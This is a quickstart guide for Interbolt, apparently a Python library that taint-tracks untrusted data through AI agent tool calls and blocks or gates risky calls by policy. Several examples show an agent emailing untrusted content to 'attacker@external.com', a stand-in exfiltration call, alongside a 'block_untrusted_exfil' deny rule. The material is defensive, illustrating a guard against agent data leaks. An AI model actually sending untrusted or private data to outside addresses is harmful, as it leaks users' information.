Quickstart
Install, write a policy, taint a value, guard a tool, define agents and tools across modules, track a model call as a new source, and get the decision (and why) at the sink.
Quickstart
Install
Requires Python 3.12 or newer.
pip install interboltInterbolt's core is plain Python with no framework dependency, so it works
with any tool-calling code, hand-rolled or otherwise. There are no
framework-specific adapters (LangChain, CrewAI, Pydantic AI, LlamaIndex);
you wire @guard and taint() into your own tool layer. See
Threat model for the full scope of what Interbolt
does and does not cover.
Write a policy
Generate the starter policy with interbolt init, or write your own:
interbolt init # writes policy.example.yaml to the current directory
interbolt init policy.yaml # or choose a pathA policy declares the trust level of every ingress source and gates each
guarded sink. A source not declared under sources always resolves to
untrusted; this default-deny posture is fixed and not configurable:
version: "2.0"
defaults:
sink_action: require_approval
# fail_mode: enforce # pin the mode from the policy; see Policies: modes and fail_mode
sources:
- name: web_search
trust: untrusted
- name: internal_kb
trust: trusted
sinks:
default.send_email:
rules:
- name: block_untrusted_exfil
when: taint.exists(t, t.trust == "untrusted") && args.to.endsWith("@external.com")
action: block
- name: default
action: require_approvalEach entry under sinks: describes one tool. rules: gates calls to it,
first match wins, and capabilities: says what the tool does. Both keys are
optional.
The sink key must match the guarded tool's qualified name: a bare @guard
on def send_email registers default.send_email, which is the key above.
See Policies for the full DSL and the CEL context
available inside when, and
Writing a policy for the same path taken step by
step, including endorsement carve-outs and the run.tainted backstop.
Configure the runtime
from interbolt import configure, Policy
runtime = configure(policy=Policy.from_file("policy.yaml"))configure() compiles the policy and installs the result as the
process-current runtime. It has no import-time side effects: a module
decorated with @guard can be imported before configure() runs, and only
calling the guarded function requires an installed runtime. See
Identity for the full binding model.
If you omit policy, Interbolt loads the built-in default, which declares no
sources and no sinks and lets every guarded call fall through to
require_approval. Since the default approval resolver denies every
request, every guarded call then raises ApprovalDenied. A warning is
logged naming the built-in default and pointing to interbolt init.
Mark untrusted data at ingress
from interbolt import taint, Tainted
def web_search(query: str) -> str:
... # calls an external search API
summary: Tainted = taint(web_search("..."), source="web_search")taint() returns a Tainted, a str subclass, so it is accepted anywhere a
plain str is expected with no change to a tool's signature. The source
string is the join key to the policy's sources table. See
Taint propagation for what survives a
transformation.
Guard a tool call
The primary pattern defines tools with a bare @guard and no agent
reference. Tools can live in their own module and be decorated where they
are defined:
# tools.py
from interbolt import guard
@guard
def send_email(to: str, body: str) -> None:
...Bind the acting agent's identity separately, at the call site, with
runtime.agent_context(...):
# main.py
from interbolt import PolicyViolation
from tools import send_email
async def handle_request(agent_id: str) -> None:
async with runtime.agent_context(agent_id) as run:
try:
send_email(to="attacker@external.com", body=summary)
except PolicyViolation as e:
print(e.decision.matched_rule) # "block_untrusted_exfil"
print(e.decision.action) # Action.BLOCK
print(run.run_id) # the join key on every Decision/Event above@guard inspects the bound call arguments, collects every taint label
found (recursing into containers), and calls check() before the wrapped
function runs:
allow: the call proceeds.block: raisesPolicyViolation, carrying theDecisionon.decision.require_approval: invokes the configuredApprovalResolver, and raisesApprovalDeniedif it denies.
agent_context binds agent_id in a contextvars.ContextVar for the
duration of the async with block, mints one run_id shared by every
guarded call inside it, and yields both back as a RunContext (run.run_id,
run.agent_id). The as run clause above is optional, a bare
async with runtime.agent_context(agent_id): still works. Because
ContextVar state is isolated per asyncio task, two agents running
concurrently, each in its own agent_context block, keep separate
identities automatically, with no locking required. For a synchronous call
site, use runtime.agent_context_sync(...) instead, which performs
identical binding, cleanup, and yield without requiring async with.
Guarded calls made outside any agent_context still work, falling back to
"default" (constants.DEFAULT_AGENT_ID) with a fresh run_id each. The
cost is that nothing accumulates across calls, so run.tainted never
becomes true and run-level gating is effectively off. See
Identity.
Durable per-agent handles, across modules
For a function that always belongs to one fixed agent, or for guarded calls
offloaded to a thread pool (where agent_context cannot reach the call),
bind the agent at decoration time instead, with agent(...):
# agents.py
from interbolt import agent
support = agent("support-agent")
billing = agent("billing-agent")# tools.py
from agents import support
@support.guard
def send_email(to: str, body: str) -> None:
...
send_email(to="attacker@external.com", body=summary)agent(...) captures the agent_id eagerly (just a string) and resolves
the current runtime lazily at call time, the same way bare @guard does:
agents.py can be imported, and its handles decorated onto tools in other
modules, before configure() has run anywhere in the process. This is the
pattern for a codebase with agents and tools spread across several files:
define the handles once, in one module, and import them wherever a tool
needs one. runtime.agent(...) (a method on the object configure()
returns) is equivalent, kept for discoverability.
@support.guard behaves identically to @guard, with the same taint
collection, the same check() call, and the same handling of allow,
block, and require_approval. The only difference is where agent_id
comes from, and a handle carries only agent_id, never run_id. The two
patterns compose in the same codebase. See
Identity for the thread-pool case in full.
Track data into and out of a model call
An LLM call is the same kind of boundary as an agent handoff: whatever the
model emits carries no label, even when its prompt or retrieved context was
tainted. track_model_call closes that gap by tainting a function's return
value as derived from its own bound arguments:
from interbolt import taint, track_model_call
@track_model_call(source="model")
def summarize(web_result: str, internal_result: str) -> str:
return llm_client.complete(f"Summarize: {web_result}\n{internal_result}")
summary = summarize(
taint(web_search("..."), source="web_search"), # untrusted
taint(read_kb("..."), source="internal_kb"), # trusted
)summary is trusted only if every tainted argument passed to summarize
was trusted, and untrusted if any one of them was. An argument that was
never tainted at all is trusted by construction, the same rule that applies
everywhere else in Interbolt: an unlabeled value is treated as your own
code's data, which is what makes incremental adoption possible. The cost is
that a forgotten taint() call at an ingress point silently launders; the
Auditing guide covers finding those spots.
summary.label.source names the derivation hop ("model"), for tracing,
while summary.label.lineage still names the real upstream sources
(("web_search", "internal_kb")), so trust resolves at a downstream sink
exactly as if those sources had reached it directly.
This tracks provenance only and does not evaluate policy. Stack @guard
alongside it if the call into the model itself should also be gated:
@support.guard(tool="llm.summarize")
@track_model_call(source="model")
def summarize(web_result: str, internal_result: str) -> str:
...The underlying primitive is taint(value, source=..., derived_from=[...]),
and track_model_call is the ergonomic wrapper for the common "wrap a
function call" case. Calling taint directly with derived_from is also
the trust-aware upgrade to the manual multi-agent handoff pattern (see
Identity: multi-agent runs and handoffs).
See Taint propagation
for the full contract.
Get the decision, and why
check()/guard always compute a Decision. check() (and Runtime.check)
return it directly, for every outcome including allow, and never raise on a
block or require_approval (only on an evaluation failure, fail-closed
under enforce). @guard, by contrast, acts on the decision, attaching it to
the exception it raises on block, require_approval, or an evaluation
failure:
from interbolt import ApprovalDenied, PolicyEvaluationError, PolicyViolation
try:
send_email(to="attacker@external.com", body=summary)
except (PolicyViolation, ApprovalDenied, PolicyEvaluationError) as e:
decision = e.decision
decision.action # Action.BLOCK
decision.matched_rule # "block_untrusted_exfil", or None for the sink's default action
decision.matched_condition # the rule's CEL text, or None for the catch-all/no-match
decision.untrusted_sources # frozenset({"web_search"}): the source(s) that caused thisFor a ready-made human summary instead of assembling one from those fields,
use describe_decision. Like describe_event/describe_finding, it
returns a rich-markup-tagged string, meant for a rich.console.Console
rather than a bare print():
from rich.console import Console
from interbolt import describe_decision
Console().print(describe_decision(decision))
# one line (wrapped here for width):
# default.send_email block rule=block_untrusted_exfil
# when='taint.exists(t, t.trust == "untrusted") && args.to.endsWith("@external.com")'
# mode=enforce untrusted_sources={web_search}Acting on a decision without @guard
When the tool is not yours to decorate (it belongs to a framework or an
existing registry), call check() in your dispatch loop and follow it with
enforce_decision(), which turns the Decision into the same control flow
@guard produces: allow returns, block raises PolicyViolation,
require_approval invokes the ApprovalResolver and raises ApprovalDenied
on denial.
from interbolt import check, enforce_decision_sync
# inside an agent_context, run_id resolves from the active run automatically;
# pass it explicitly only outside a context or to override
decision = check(
tool="send_email",
args={"to": to, "body": body},
agent_id=agent_id,
)
enforce_decision_sync(decision) # no-op on allow; raises on block or denied approval
send_email(to=to, body=body)@guard is exactly this pair, check() then enforce_decision_sync() (or
enforce_decision() awaited, at an async call site), wrapped around your
function; reach for the explicit form only when you cannot decorate the call.
An async dispatch loop awaits enforce_decision(decision), which can use an
async ApprovalResolver. See
Identity: custom dispatch loops.
Next steps
- Writing a policy: the full path from ingress to
decision, with endorsement carve-outs, the
run.taintedbackstop, and rollout. - Policies: the DSL, evaluation order, the CEL context.
- Testing: assert on decisions with
InMemoryReporter. - Auditing: find forgotten re-
taintcalls. - API reference: every public name.